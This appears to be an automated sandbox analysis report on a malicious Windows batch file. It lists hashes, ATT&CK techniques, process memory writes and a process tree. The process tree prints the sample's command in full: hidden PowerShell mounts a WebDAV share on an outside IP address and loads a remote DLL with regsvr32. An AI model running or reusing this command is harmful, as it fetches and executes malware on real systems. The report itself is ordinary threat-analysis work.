76bbaa70aff3045abb8c9a5c8c5d41887f6ed281ec59d1af5feec67bcabbe09f

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 04:58

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General

Target

27972153241137516402.bat
Size

14KB
MD5

05164ccea8d7b8a898e4c0026ed99153
SHA1

cadb8ca7d853f287206809e9420de6e420e8d54e
SHA256

76bbaa70aff3045abb8c9a5c8c5d41887f6ed281ec59d1af5feec67bcabbe09f
SHA512

6e19b1d4c139b03d6bb5b28294c494deb3d4636e1cc65af3e6366fce278af3bf3e5044b97bedac477bf546a0106e6699c2e21435ad702411501d1de9507563e7
SSDEEP

192:3rs+8mX1ZYXuKo+hPQI/5GFFwhFFLJPEKW5fqS/TiJN9X3AkD2fSb:3wosf1OFAFLJPEK67s9wk

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4376	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4376	powershell.exe
4376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4376	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1712	wordpad.exe
1712	wordpad.exe
1712	wordpad.exe
1712	wordpad.exe
1712	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 1712	3000	cmd.exe	85
PID 3000 wrote to memory of 1712	3000	cmd.exe	85
PID 3000 wrote to memory of 4376	3000	cmd.exe	87
PID 3000 wrote to memory of 4376	3000	cmd.exe	87
PID 4376 wrote to memory of 4660	4376	powershell.exe	89
PID 4376 wrote to memory of 4660	4376	powershell.exe	89
PID 4376 wrote to memory of 700	4376	powershell.exe	90
PID 4376 wrote to memory of 700	4376	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\27972153241137516402.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\13444223427395.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4660
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\13444223427395.dll
    3⤵
    PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1b4popv.ykv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4376-2-0x000001F3489C0000-0x000001F3489E2000-memory.dmp

Filesize
136KB

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